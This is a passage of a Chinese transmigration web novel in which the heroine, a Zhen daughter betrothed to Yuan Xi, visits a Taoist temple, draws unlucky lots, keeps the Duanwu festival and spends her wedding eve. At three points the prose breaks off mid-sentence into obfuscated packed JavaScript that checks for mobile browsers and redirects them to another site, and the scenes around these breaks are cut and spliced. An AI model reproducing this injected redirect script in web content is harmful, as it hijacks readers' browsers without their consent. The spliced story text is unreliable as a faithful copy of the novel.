“先别不耐烦,我还没讲完,”她左右打量着换好衣服的季蘅,边说,“你不是一直抱怨关在家里闷么,正好,这月十六——老夫人嫌十五人多,预备十六往那南貉山的玉虚观祈福。” “我也要去?” “当然,本就是为了你的婚事,好好准备,先斋戒几天,届时诚心拜拜那些天神地祇。无论哪个,多拜拜总能碰上心肠软的,有所灵验。” 45.求签 记得上回,陪善印去妙云山东麓的西王母庙祈福,险些遭历小人算计。 季蘅一直耿耿于怀,从此对磕头烧香之事颇有余悸,总推三挨四的。 但今番是乌泱泱一大家子的妇孺同行,又有缦双、细宝多名婢仆随侍,她才稍稍宽心,抱着早晨煮好的百合麦茶喝了不少,时而掀开半边笭子,将念头逐渐放到沿途一碧万顷的乡野风光中。 刚过晌午,颠簸了半个多时辰的马车终于安稳停在南貉山趾。 久候的舆夫肩抬软轿,忙不迭将几位女眷贵客送上玉虚观。 迤逦青磴间,苍松翠柏,抬眼所见云蒸霞蔚,千岩万壑;无论远近高低,皆是一派灵气润泽的瑰丽。 落地后,薛婉搀扶着张老夫人先进山门。 瞧那两柱雕刻的青龙与白虎,可谓栩栩如生,她似想起什么,煞有介事地对身旁诸位说:“早听闻玄阳真人在后山招来了白凤祥瑞,也不知今日有无缘分相见。” “凤凰?”霍逦闻此,半信半疑地玩笑,“路上就迷迷糊糊打了个小盹儿,没成想醒来时竟已到了传说中的丹穴山?” 张氏也只当逸事听:“怕是又将什么仙鹤、锦鸡之流,统统讹传成千载难逢的神鸟了。” 薛婉却言之凿凿,仿佛亲眼目睹过:“修士所处的洞天福地,灵气充沛,有些稀罕物不奇怪的,只是咱们凡人若想翕受,终究可遇不可求。” 霍逦笑言:“那等下用斋饭的时候,记得择个灵光的道童问问究竟,也好叫我等见识大世面!” 说笑着,就快到庄严辉煌的正神殿了,她们不约而同地变得正经起来,整衣敛容,不再交头接耳,虔诚迈进殿中。 唯有敏锐的邓端往后瞧了眼,发觉一向开朗的小妹已缄默许久,她放慢步子,等人过来,关切问:“五娘今日是怎么了?瞧着像有心事。” 季蘅感到忸怩不安的时候,脸颊通常会涨红,恰如此时此刻。 她迟疑地左右顾盼,不由小声坦白:“方才贪饮了几口茶,现下竟有些内急。” 一旁的细宝忍不住轻声奚落:“奴婢早前怎么说来着,都劝娘子不要贪嘴,少喝些茶水,您非是不肯听。” “我哪知道……” “无碍,好在现下咱们已经入观了。但若是路程再远些,怕是难办。遭一蹶者得一便,往后你可该长点心了。” 邓端是玉虚观的常客,私下出捐了不少香火,她朝念珠使了个眼色,很快请来一位相熟的道仆,又对季蘅嘱咐道, “且随她去罢,先不急着求签问卜,等会儿你来膳堂寻我们。” “多谢二嫂。” “请居士移步,随弟子过来。”那道仆看上年纪不大,圆圆的脸似乎还没褪尽婴儿肥,个子也不高,却莫名有种醇厚持重的气场。 “有劳玄友了。”季蘅匆匆跟随她,去往西侧香客留宿的寮房。 这回缦双、细宝是形影不离地陪伴左右。 等季蘅更衣出来,道仆却引她们走了另一处的后门,解释:“前边来了不少俗客,还请施主多绕些路,沿此曲径一直走到底,便可瞧见炊烟和膳堂的红顶。只是后山蓁芜,时有野物走兽出没,虽不会主动伤人,需得小心避让。” 说完,留下她们三人,告辞离去。 这附近的景致,正是玉虚观的坐忘林。 踏出院子,缦双扬起一柄缂丝团扇,欲给娘子遮阳,季蘅却笑着接过它,自己摇着取凉。 原还有些忐忑,但见此间丛莽隐天蔽日,苍翠欲滴的树冠在熏风中如云浪翻涌,心中忽觉畅快,也就欣然走了这条幽径。 行至茂林深处,闻得暗香浮动,枝蔓的掩映下,果真别有洞天。 “这里居然种了一垄芍药。”不知是怕惊扰仙神或山兽,细宝自打入观,总揣着敬畏之心,只敢小声说话。 何止是粉白的芍药,此间风光旖旎,姹紫嫣红一片又一片,叫人应接不暇。 季蘅凑到繁花间,拂了拂扇子细嗅气味。 这簇灌木是蓝绣球,那簇是雪白的珍珠梅,那边的墙垣爬满了橙红的凌霄和野蔷薇,远处还有戎葵、石榴花和牵牛…… 仿佛仙境,她们流连其中,赏起美景时是乐此不疲。 “娘子,”缦双忽拉了拉季蘅的袖子,“您快瞧那是什么?” 顺着她指向的一片槲栎望去,远处是起伏的苍翠山峦和瀑布,往下则是漾起薄雾的幽谷,而狭窄乱石间,似乎正栖着只显眼的白羽大鸟。 季蘅好奇地往前走了几步,用团扇拂开垂挂眼前的枯藤蔓,仔细一看: 此鸟翎毛雪白,长尾曳地,红足红冠,黑色下腹还泛着深蓝光泽。 “瞧着怎么像长尾巴的白毛乌骨鸡?鸡冠好像还毛茸茸的。”细宝喃喃道。 “嘘,这是白鹇。”季蘅笑着瞧了她一眼,“我以前在——画上见过。” 确切地说,是上辈子在峨眉山旅游时见过。 “它会飞么?”缦双问。 “该是会一点的吧,但也飞不长久。” 细宝有些失望:“那跟乌鸡差不多嘛,只不过多了条长长的尾巴,倒不如红腹锦鸡好看。” 季蘅对此物也没什么兴趣,还不如一盆脆皮烤鸡来得诱人,于是说:“咱们走吧。” 而那只白鹇似乎发觉了有人在窥探自己,忽扑棱起双翅,往下一跃。 伴着蒸腾云雾,尾部似仙子裙摆飘飘然,它轻盈地飞向谷底。 “娘子快看!”细宝没忍住,朗声感叹,“好美啊!” 凡鸟与仙兽的差别,竟就在这一飞一跃之间了。 “什么人!?” 未料拐角的竹林阴影处,传来声叱喝,紧接着,走出个横眉怒目的男子。 缦双连忙挡在自家娘子的身前。 人多势众,季蘅倒也不惧对面,反镇定问:“玉虚观乃道众清修之所,你又是何人,匿此叨扰?” 这话竟一时问倒了来者。 在旁的细宝却若有所思,忽而试探道:“哎,你可是袁二公子身边伺候的仓庚?” 昨儿十五,袁家二子护送敏成堂姑母入玉虚观修行,在山脚留宿了一晚,想着今日晌午上山陪她老人家用完斋饭再回城。 两兄弟是行军武夫,见惯了打打杀杀,皆对参禅悟道没有兴趣,不拜鬼神,听不进讲经,更闲坐不住。 斋饭还需些时候,他们便在后山肆意漫步,至此静谧之处,随意聊起了些隐秘的要事。 是说他们前几年在寿春称帝的叔父袁术,近来的日子过得很糟,不得已往冀州送了封示好的信,欲将帝号让给父亲袁绍。 “好一个‘袁氏受命当王,符瑞炳然①’,如今穷途末路了,才想起与我们是一家人了?” “袁公路窃位,鱼肉百姓,这几年所为已是罄竹难书,如今还敢使计将父帅也拉下水,其心可诛。” 闻此,袁尚却微微抬起下巴,眉宇间透出几分玩味之色:“可是,阿父未必就不想……” “三弟,”袁熙忙打断他,语气甚严厉,“自黄巾以来,父帅谋诛宦官阉党,讨伐董贼,匡扶汉室之心,日月可鉴,不曾有负天下所托。你莫要一时口快,惹出是非。” 袁尚张了张嘴,也不知接下来是想应答抑或反驳——这时,忽听见附近隐约传来女子的声音,不由抬眼,紧张兮兮寻声望去。 守在一旁的仓庚也察觉到不对,慌忙走上前,防备地用剑鞘拨开那片竹林,小步疾行,边大喝:“什么人!” …… 这还是订亲后,季蘅与袁熙第一次见面,照理说,本就不该私会的,可天底下便有这样巧的事,挡也挡不住。 袁熙瞧见迎面走来的,竟是日思夜想的未婚妻,高兴之余,还有些紧张,没等自己开口,倒是身旁的弟弟先动嘴了:“方才这边说的话,你们都听见了?” 两个丫鬟皆不敢出声,只慌忙摇头。 季蘅则嘀咕着倒霉,用团扇略遮住了半张脸,目光下移,淡然道:“道观清净肃穆,谅来无人会在此地,浑说些不得体的话。” 这意思便是什么也没听见,就算听见了,也只是些寻常之言。 “是。”袁熙想瞧她,却又不敢直愣愣地盯着,那眸子盛满的笑意都快溢出来了,“我与尚弟今日陪姑母入观祈福,没想到你也在,真巧。” 而袁尚双手叉腰,有些扫兴地歪着脑袋打量眼前的女子,胸口又涌上那股烦闷的浊气。 是因上山求签问卜的,季蘅今日穿得甚素雅,发间只有玉和簪花。不过,手里拿的团扇却用金丝绣着一对鸾凤。 袁尚忽走上前,带几分尖酸地讥诮:“哟,凤凰。要恭喜未来嫂嫂,如今也是飞上枝头变凤凰了。” 那语气当真酸溜溜,浑如他现下裹的这身青柠果颜色。 “三弟!” 想着长辈们都在,季蘅强忍住吵架和劈人巴掌的冲动,只朝袁熙行了个辞礼,便要离开。 却没想到被袁尚别扭一拦,甚至差点就抽走那团扇。 “嫂嫂做什么着急要走,”他嚣浮地讪笑,“难得与未来夫君相见,该多说几句话才是。兄长啊,看到没,她可是想作凤凰的,那怎么着,你也得变成只神兽相配吧?你看兴云吐雾的蛟龙如何?” “三弟你休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见状,霍逦忙提议:“也不知那位袁夫人是何样脾性,只怕她这会子正在精舍闭目打坐,不喜叨扰。合该先递一道问安,若得空,自会遣人过来应接。” “嗯,有理,就依你。” 季蘅懒得参与这个聊天,光是想到袁氏就足够厌烦了,那位未来的姑婆母更是隔着几重山,她耷拉个脸,随手拿起漆盒里盛的一只桃,仿佛置身事外。 “这丫头,马上就要传素膳了,还管不住嘴。待会儿看你能多扒几粒米。” “瓜果均是道观自己种的,听侍仆讲,这桃子还供奉过神君,吉祥得很!”霍逦笑说,“五娘吃了有大进益。” 此话一出,倒让季蘅有些难以下咽,难怪咬着不新鲜,还隐约发苦,又不能浪费,她只好问:“阿母,我们何时能下山回家?” “才来多久就待不住了?”张氏笑说,“咱们是过来求签问卜的,等上完香,可没人拦着你。” 求签这种事,一向是好的灵,坏的不灵。 季蘅比较含糊,不拘最后求出个什么。莫说三国,再往后两晋南北朝,乃至整个封建王朝的大结局她都学过,还在乎这几根竹签的吉凶么。 不过,想着自己中午和祂们共享了同一个桃子,也算有缘,遂拿了个红签筒,跪在面前的蒲团上,哗喇摇动,并暗自许愿: 风流人物看个遍,荣华富贵享不尽,多活一年算一年,如果最后能顺利穿回老家就更好了…… 大约用力过猛,同时掉出两支: 一样是,凤去秦楼,云敛巫山; 另一样则是,子规啼血,镜花水月。 季蘅左挑挑,右看看,斗姆今日所赐之签,皆为下下等,看着就嫌唏嘘晦气,没一个喜欢的,她不多迷信,更不想再摇了。 心道: 都说天命难违,可这天命当真只能任由上天安排吗?却不知历代多少王侯将相,捏造了数不胜数的祥瑞谶言。尤其那些白手起家的草根皇帝,便是所谓的天选之子,又岂非个个坐享其成,只躺在陋室草庐里,就能等到衮冕加身的? 况且,她一向有自知之明的: 我生来不过一贪生怕死、好逸恶劳之徒,劣根深驻,没有武皇、吕后、邓后那般的政治才能与魄力,自然也生不出缔造丰功伟业的野心,从始至终,所求的都只是保全性命,安稳度日罢了。 这凭什么也要成为奢望?! 季蘅越想越憋屈,有些忿忿不平地站起身。 周遭正虔诚祈祷的信女,但愿千百年来你们的诉求,漫天诸佛、天尊老君能听见一二。 她拿着这两支签,直接扔进了旺盛的神明炉里。 生生不息的火焰,毕剥扑腾,酝酿着野蛮热烈的欲念,古今中外,这里总会诞生很多奇迹…… 46.端午 窗棂前的青瓶,插满了石榴花、百日红、黄栀、菖蒲和艾叶。 又到一年仲夏端阳。 绫戈抱着小箩筐佩兰,避开热烘烘的日头,蹐进屋内,边用甜润的嗓子问道:“花瓣沥干净了,娘子几时浴汤?” “嗳,”缦双忙探头,“你先放进湢室里,余的皆已备足。” 才搭句话的功夫,她再回首,发现某个人又迷迷糊糊溜回榻边假寐了,不由轻叹声气,劝说:“都日上三竿了,您还睡不醒,往后当真入了袁府可该如何?听闻那边规矩繁多,免不了昏定晨省的。” 季蘅却不太情愿地睁开一只眼,嘴贫玩笑:“怎么办,这算犯了七出之条吗?” 好晦气的话,缦双无奈下眼觑,没继续接话茬。 这般口无遮拦,五娘子打小就如此,是被长辈娇宠出来的老毛病了,一时半会儿也改不掉。当丫鬟的,自然更管不着。 于是,她只绕过屏风,使唤人:“红枭,快伺候娘子兰浴。” 五月初五,属恶日,传说百鬼诸邪皆会爬出来作祟。 除了沐兰浴,民间亦有接出嫁女归家躲午的旧俗,故而前几日,薛婉抱着小阿渠,被薛氏兄弟迎回娘家过节了。留下甄尧乐得逍遥,这会儿恐怕正与同僚在郊野驰马射箭、飞鹰奔犬。 至于府中其余女眷,张氏、邓端尤其信教,念着恰逢五方五帝攒会南方三炁丹天之际,特地请来玉虚观的玄阳真人在家做道场,祈求福佑。 霍逦最是清闲不住,起了个大早熏祓,前半晌各院各屋处处打点。缦双受她一些教,在门上挂了桃印、四角挂了艾草,房间各处洒了雄黄,是以驱邪避瘟。 等娘子进湢室兰浴后,缦双也收拾好了妆奁,屋里静悄悄的,左右寻不见人影,屋外却欢笑声不绝,她卷起帘栊,望向檐下:“好个没毛的懒猴,原是躲这处享福了,早前托你收拾的香包呢?” 消极怠工的细宝正跨坐在廊间栏杆上,与小厮斗草,听见缦双催促,有些敷衍地答嘴应付:“就要来了!” 动身前,还不忘叮嘱,“司旺你快去厨房催一催,问雁弩角黍都煮好了没,娘子午膳要食的。” “好嘞!” 她这才麻利地捞起笸篮进屋,里头装了不少草药香包和五彩长命缕,又见缦双站在一旁,正用故作威严的眼神睇自己,不住心虚解释:“我是想让这堆小玩意多晒晒阳气,所以就耽搁了半歇功夫。” “什么冠冕堂皇的由头都有,随你好一通编了,我可管不着。” “不多不多,比起咱家娘子,少得很呐!” 缦双愣了愣,到底没忍住,那训斥的话硬生生噎在嘴边,化成了笑靥。 难得遇上她吃瘪,细宝更得寸进尺了,歪头凑近些,故意追问:“好双儿,你也这样想的,是不是?” 可不嘛,论起六说白道的本领,谁又能胜过甄家五娘。 “少跟我浑说,再赖皮,等着娘子后晌罚你。”缦双觑了一眼,伏身打理起那些香囊和长命缕,不再睬她。 而话头当事人,一贯胡天胡帝的季蘅此刻正乖乖坐浴,对丫鬟们的编排毫不知情。 泡了大约一柱香的时间,身心确实舒畅不少,她换上那轻盈的素纱莲青直裾袍,披着如瀑的长发,回到寝卧。 案面上已经摆放好一盆粽子和两叠绿豆糕。 “都是什么馅的?” “有两只蜜枣、两只腊肉的,剩下的是您最喜欢的碱水角黍。”细宝答。 “给我剥只碱水的。这么多,你们也快尝尝。”季蘅捋了捋还有些湿漉的鬓发,随意坐在妆台前,吁气,“最近的天啊,是越发闷热了。” “小暑前后就可以用冰了。”缦双给她腕间系了条五彩绳,又往腰间别好一个药香囊,白布包上绣的是淡青色槐花。 忽想到,这该是自己在甄家待的最后一个炎炎长夏,季蘅不禁有些难舍,仿佛不久以后,将随同暑热一并逝去的,还有她那旧日的活泼无忧、悠闲逍遥。 这会儿,汲完午时水的红枭又从厨房端来三盅酒,分别是朱砂、菖蒲和雄黄。 季蘅见状,从短暂的惆怅中回过神,又有了新盘算,她吩咐丫鬟取出几支没用过的羊毫,并掭了那雄黄酒,兴奋提议,要亲自给列位画“王”字。 既是习俗了,缦双、绫戈、红枭躲不掉这赐福,俱得乖乖站直,任由娘子给她们捱次画额,等轮到细宝的时候,那丫头忽俏皮笑道:“礼尚往来,也得让大家伙儿给您画一画罢!” 季蘅慢条斯理,在对方软乎乎的脸颊上多涂了个星子,却说:“不许,我正待嫁,已经不算小孩子了。跟你们可不一样。” 自从拜完玉虚观,她算彻底想开了。袁熙之流并不要紧,嫁一时又非嫁一世,只要无情地将其当成个过渡NPC,大家安安稳稳生活,等待官渡之战的副本触发便罢。 “娘子怎么老是混说这些,真没羞!” “扯臊又如何?等着,以后定要第一个安排你的喜事。” 闻此,向来大大咧咧的细宝竟红了耳根,是又羞又恼,尖嗓子抱怨:“既是个大人了,您还总拿奴婢打哈哈儿!” “虽说我方才是玩笑话,但那种事也算要紧的,你们几个心里该有数,往后遇上什么如意郎君,大可直接告诉我。我自会替你们掌眼,若真个好,便与之牵线拉桥。千万不要因为不值当的羞怯,就错失良缘。” 一旁的绫戈有所思,难得低下头没说话;红枭更是臊得急嘀咕:“不,奴婢才不嫁人……” “哎,这大过节的,又诌些不着调的了,看把她几个闹得面红耳赤,您就高兴痛快?”缦双过来打圆场,递去块夏布,请娘子膳前盥洗。 季蘅显然很满意:“记住我惹不得就行,看以后谁再敢拿我逗趣。”说完,便去净了手,邀大家一块吃粽子。 她夹起一角金黄色的糯米,蘸着细碎的石蜜,送进嘴里。 “对了缦双,你上回挑的那几个男护卫,我是一眼也没看上,长得要么寒酸,要么凶残。” “护卫嘛,自然要模样凶恶强悍的才好,叫歹徒一碰见就怂了。您莫非襄玉坊挑堂倌,还得看相貌口才?” “可单是画像,我瞧着那腮帮子堆挤的横肉也三般儿心颤,更别提日夜被他们守着了。就没有伶俐些的女子么?” “这天底下哪有女子习武练功、还抛头露面地应聘护卫!娘子又胡诌了。” “怎会没有?女艾、妇好、迟昭平,乃至交趾的征女王,哪个不是被坚执锐的巾帼英豪?若往近了说……”提及武艺,她不由想到了夏龙雀,便顿了顿,使给细宝一个眼色,“宝儿你说。” “我?”细宝还沉浸在适间嫁人的戏谑中,见季蘅这么一瞥,才隐隐回过神,忙道,“啊,奴婢上个月已经照您吩咐,将樊医请去桃刃村给那夏家阿姐治病了,果然,好转不少,听说现今都能下地做些零活。” 季蘅点了点头,并不意外:“樊阿先生的医术一向高明,百治百效,孟觉苦的身子骨不就是在他调理下才有起色的。” “所以啊,龙雀最近又来襄玉坊寻人了,赶都赶不走,买壶茶酒能呆坐半天。”细宝说,“对了,她这次还给您送了些亲自包的角黍,我没敢拿,都留在那边了。” “真的?倒是挺想尝尝的。” “那您尝完角黍后,见不见她呢?咱们不如偷偷去趟襄玉……” “啧,”缦双像掐灭一点火苗,立即打断,“这段日子,老夫人绝不许您再轻易出门的,何况还是去襄玉坊那等游乐之地。” “才不是瞎玩乐呢,与玄娘合开的那家成衣铺,我总要看看账本,还有啊,前阵子忙里偷闲,写了好几张新菜谱,也得给人送去不是?”季蘅思忖须臾,又对细宝道,“晚些时候,唤卢宽过来,再记得替我准备一顶幕篱。” 甄府的院墙可关不住她这只生来享自由的鸟儿。 正值端午,襄玉坊里也很应时景,台上唱的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原是双名唤作‘山雀’,不过轻贱的鸟命,后来追随今下侍奉的主人,才给赐的好名。他说,大夏龙雀是远古名器,威力无穷,也希望我能潜心笃志,来日锤炼成他身边最锋利的兵器。” “这便是对你寄予厚望了。” “可惜我愚笨,只略懂功夫皮毛,庸庸碌碌,不成大器。但有一点,若是主人,哦,还有恩人您所托,纵使肝脑涂地,也要办好。” 闻此,季蘅没应声,朝身旁的丫鬟使了个眼色。细宝颔首,然后绕过屏风,走到龙雀面前,并从袖口掏出一颗银子,冷冷道:“我家娘子并非食亲财黑之辈,这是买你角黍的钱。放心,只多不少。若无旁的事,你就退下吧。” 龙雀愣了愣,没有接,心里更是感动敬佩:“实在惭愧,我本一舞刀弄枪的俗人,也从未做过什么好事,世上的苦命人颇多,何德何能轮到我受女郎这般优待。” “那正说明我们有缘。”声音轻柔,听不出情绪。 细宝把银块直接往龙雀面前一放,有些不耐烦:“我家娘子古道热肠,常做善事,你又不是第一个受她惠益的人。安心收下便是。” 龙雀连忙低颡:“不知女郎姓甚名谁,坊里的美人,或是谁家的千金,小的往后又该如何报答您!” “你若真心所求,自会等到再见那日。” 话音甫落,丹沛便不留情面地将龙雀请了出去。 龙雀虽想一睹恩人真容,但也没好强求,她假意告辞,实则偷偷躲在留仙园大门附近静候着。 酉时前后,那女郎果然携丫鬟走了出来,可惜带着顶白纱幂篱,叫人看不真切。 尾随青牛车至姑莲池边,发现这行人溜进了甄府的后门。 于是等回了袁府,龙雀迫不及待地问盼枝:“之前听说二公子要娶妻,毋极甄氏女,你可知是哪一位?” 盼枝正在给一件紫鼠色短衣缝补珠子,露齿而笑:“你倒真是个不晓事的。哪位?甄家如今也只有一位五娘子待嫁,还能是哪位呢——今日怎么突然想起问这个了?” 龙雀摇摇头,却难掩欣喜,那位五娘子应当就是自己的恩人了。 如此说来她俩也算有缘分啊,一个在袁府当差,一个马上就要嫁进来了,以后总会有恰当的机遇见面的。 47.前夜 这天气愈发炎热,转眼六月廿二,终于到了季蘅出阁的前夜。 张氏、霍逦、邓端、薛婉、辛善印,还有这个婶那个姨的远近亲戚……许多人带着满腹叮嘱,蜂拥而至,挤在她的集芳馆抹眼泪。 有时候,哭泣能代表一种恰到好处的仪式感。 “你又能伤心些什么?”季蘅尴尬得没忍住,私下瞪了好友一眼。 善印拉高帕子遮住下半张脸,藏起微微上翘的嘴角。 既是闺中密友,她特意从高家往至甄府,陪伴新娘子度过出嫁前的最后一晚。 等那几位长辈依依不舍地叨念完,回去歇息了,她才率性坦白:“大家都在哭,就我一人搁这笑出声,岂非显得太过愚笨孤介?稍摸挤点儿眼泪,也算为你——喜极而泣了。” 自打嫁给了高柔,善印变丰腴不少,白白嫩嫩像块羊脂玉,可惜爱上了装城府,开始顶个老成持重的发髻,端起所谓当家主母的姿态,实在违和,不过,瞧那模样和精气神,就知日子过得颇滋润。 “临了了,我反倒无喜无悲。”洗漱毕,季蘅已经换好寝衣,正坐在妆台前捋头发。她盯着铜镜,身后架子垂挂的喜服,颜色十分刺目,红得发黑,像大团大团的火花,在自己心里烫出个洞。“只是,忽然有点空落落的。” “终于要离开生活十数年的家,到个新地方去了,怎么能轻巧适应,这我懂。不过,瞧着前几日蜿蜒流进袁府的嫁妆,可谓沉甸甸极了,足以填补你那块的空隙。”善印这会子摇着扇,凭几倚榻吃起青葡萄,又听到季蘅那样说,歪头打量了她好一会儿,然后笃定道,“该放宽心,你就似那天边的星子,二公子是千方百计谋算了,才好不容易摘下的,自当百倍珍重,往后只会更加恩爱。” 袁熙也确实上心,自订下婚事,他隔日就变本加厉地往甄府里送东西,什么花样都有。连甄尧都看不过去了,拦了几回未果。 于此,闺阁中的季蘅都了然。 但她一丁点儿也不在意这位夫婿能否长久地待自己温存,毕竟,他们相守的日子本就不多。 听闻淮南袁术不久前呕血而亡,传国玉玺被义士徐璆带往许都,献还朝廷; 而虎踞四州、拥众十余万的大将军袁绍还处在剿灭公孙瓒的劲头上,不由得将胃口对向南边,蠢蠢欲动。 可他们不会知道,一旦对阵上曾经的小弟曹操,汝南袁氏就离覆灭也不远了。 季蘅婉然放下篦子,眺了眼窗外隐约的月色:“罢了,咱们歇下吧。” 说着,便走到灯烛旁,要掐灭那蜡焰。 “诶,难得你这么早就困了?” “该早些歇息,你是过来人,可比我清楚明日的繁文缛节会有多疲累。” 很快,两人共枕睡下。 黑暗中,善印侧过身,试探道:“有些事,固然叫人害臊,但思来想去,还是要好好叮嘱你一番,也是几位夫人托付我的——省得届时遇上什么心慌意乱的事,靡知所措。你闭着眼也罢,得仔细听我把话讲完。” 季蘅瞬间就懂了,无非是要教她明晚面对新婚丈夫时,如何行周公之礼,敦睦夫妇之伦。 说出来可能不信,这类生理上的事,她比你们懂多了,于是强忍笑意,贴近正在斟酌用词的善印,喁喁念了首诗:“衣解金粉御,列图陈枕张。素女为我师,仪态盈万方。众夫所稀见,天老教轩皇。乐莫斯夜乐,没齿焉可忘。①” 善印愣了半晌,然后才反应过来,吃惊中还带了点羞怩:“好你个甄季蘅,小小年纪,平日里念的都是什么书啊!真不知羞!” “不才,除了《同声歌》,也曾拜读过《素女经》。” 她对季蘅的坦诚感到震惊,黑暗之中,身旁的女子从容笑着,竟比自己这个已嫁数月的人妇还要直白些,敢情之前预备的那番话统统不能用了,半晌,才吐出一句:“哎,你既已通晓,也无需我多言了。” “嗯。” 可善印闭了须臾的眼儿,就猛地睁开,是越想越不服气,大胆地拧了下身旁人的脸蛋一把。 “干什么?” “便宜袁熙那小子了!” 季蘅不由感到好笑,心里也嘀咕,确是便宜他了,甄氏拥有这般美丽的容貌,还没谈过几次恋爱就要嫁人了,多可惜。 却听善印换了个宽柔的语调,继续道:“不过话说回来,放眼整个河北,再找不到比二公子更适配妹妹你的男子了。我夫君也同他共事过,知晓颇多。私德品行自是不必多言,且,膂力壮健,不似那些娇生惯养的纨绔……” 言下羞人的隐意,是昭然若揭。 “哦?”季蘅侧卧着,右手支着脑袋,“那我也不算太吃亏了。”她尤记那日捉迷藏误摸了袁熙,习武之人的胸膛当真结实足壮。 善印本想逗她个面红耳赤的,没想到对方居然反应冷淡,有些难以置信:“你竟不害臊?” 区区生理需求有什么好难以启齿的。 “拜堂合卺是喜事,儿女双全亦是喜事,怎么偏轮到了这中间的洞房花烛上,就该我害臊了?子曰,饮食男女,人之大欲存焉。” “嘿,你这张如簧巧舌啊,”善印伸手轻轻拍了下季蘅的嘴巴,“我倒不用担心你了,先得担心他,可不敢与你歧见争辩,迟早要气坏身子!” 气坏身子不至于,早死却是铁定的。 此刻的季蘅还有些惋惜袁熙命运多舛,但不会太深,她更在乎自己的未来,琢磨着以后如何能避免掉进命途多舛的狼窟; 或者,忍气吞声、降志辱身地多熬几年,熬死那个疑似消渴症患者,等到亲儿子登基,届时受叫一声太后娘娘,岂不美哉?说不定还能垂个小帘听个大政! 即便到最后,历史大方向实在无法扭转,那么,能否通过修饰一些小细节的办法,让自己多活几年舒坦日子呢…… “也不算盲婚哑嫁了,他见过我,还被我婉拒过,却执意要娶,倘若来日真遇上什么坏事,哎,那也该算他自作自受,不赖我。” “你这叫有恃无恐,没心肝的。”善印松了口气,“也好,依附了少将军这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311134|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵葱茏之树,从此再无忧虑。” 季蘅默默望着那帐顶,百感交集,是很挺拔茂盛,但可惜啊,袁氏这片树林就快要澌灭了。 这夜,她带着几分忡惙几分愁思,翻来覆去了多时才渐渐入眠,久违地又做了那种奇怪的梦。 梦里的她好像刚从巍峨的积石山巅一跃而下,就快掉进浩浩汤汤的黄河水中了,再眨眼,自己竟变成一位额间嵌有赤红珠、身裹白绸的神女,正被四丈宽、龟壳上生有莲花纹的大鼋驮着。 那右肩上方,还扑腾着只略显吵闹的三足金乌。她不耐烦地挥了挥手,欲赶走那黝黑的丑玩意儿。 未料神鸟先开口说人言了,它道:“阿栖,你为娲皇养女,我乃帝夋之子,你我般配,实属天造地设!” 闻此,名作“风栖”的神女不由怒火中烧,施法的手缠绕着煜熠银光,旋即定住了金乌,自己则折身飞至龟背的另一端。 “你从泰冒山追我至此,还要胡搅蛮缠多久?” 可金乌并未受锢,运力振翅,须臾之间现出了人身。 只见那是一年轻男子,高约八尺有余②,披着如云雾般的墨色羽缎长袍,他抬头,露出了与袁熙九分相似的面庞。 “真是绝情啊,可还记得当年,你刚从玉卵里破壳而出,是一只雏鸟,还没有化成人形,因着螣蛇好战,打伤了狰,所带来的熊熊大火烧毁了长留山下那片苍梧林,白泽便将你衔至温源谷,与我一道生活了五百余年……” “多嘴。”风栖却懒得听他叙旧,摇了摇挂满灵石的左手,身旁出现一张竖立的银灿灿的瑶琴。 “如何又要打?” “重光,若你这次输了,就乖乖回家,休要再尾随纠缠我!” 男子略略歪头,似有些奈何不得:“好吧。”但同时,眸子忽变成了赤金色,背上顿生出强有力的六翅黑羽,“可万一是我赢了呢?” “悉听尊便。” 话音刚落,激昂的音律响起,眼见银灿灿的光波接连不断地朝自己袭来。 他则不慌不忙地拍翅,腾空而起,手结契印,并笑道:“只求阿栖不再赶我走就行。” 面前的幻化那圈金轮,吞噬了所有攻击,然后生出无数束流火,猝不及防地砸向对方。 风栖掐指,又拨动了几根弦,这次在她面前也出现了一张网——那些流火在接近时便融化殆尽。 正当他们打得不亦乐乎,底下的大鼋却发出闷闷轰响。 是不知从哪掀起的一阵滔天巨浪,将西边的太阳遮住,甚至快要盖过不谙水战的两人。 重光回首,隐约瞧见浪头站着一人…… 而与此同时,季蘅猛地从梦境中惊觉,左手抵着盗汗的前额,轻轻喘着气。 竟然又是梦吗?为何真实得像亲身经历过一般? 她动了动手指,并没有摸到什么赤红珠,那里只有一颗与生俱来的浅浅的小红痣,冷静了少顷,愈渐清醒,转而望见枕边的善印仍在熟睡,才略有些心安。 此间,天已微明。 48.熙甄大婚 袁氏二公子大婚之日,红澄澄的喜庆充盈了全邺城,连那长街两旁的紫薇也祥兆,竞相盛开了。 待日影开始西斜,新郎官身着玄袍纁袡,束金冠,骑高马,伴随吹吹打打的喧天鸣乐,被手持长矛铜甲士卒拥向甄府。那喜笑颜开的模样,仿佛沐浴在灿烂春光下。 他是如愿以偿,在众多亲朋好友的祝贺见证下,与心爱的美娇娘拜堂成亲。想来人生幸事,都敌不过今日了。 诸侯之子娶妻,迎亲的排场自然阔绰,队伍最后还有几个穿绿衣的双鬟小婢挎着筠篮,沿街撒吉利钱。 看热闹的百姓接踵而至,各个招手庆贺,也想沾沾喜气,捡些铜钱,或许还能一窥新娘子华容。 “吉时到!请新妇出适。” 催妆数次后,季蘅才手执团扇,姗姗拜别了泪已阑干的母亲,将由兄长抱上彩舆。 “万一,我是说万一,”甄尧边走,边面无表情地轻声道,“哪天袁熙言而无信,真给你委屈受了,可以偷偷差人告诉我。” 季蘅明显愣了片刻,半信半疑地打趣:“怎么,你还敢帮我欺负回去吗?” “暗地里使点儿绊子,不算太难。” 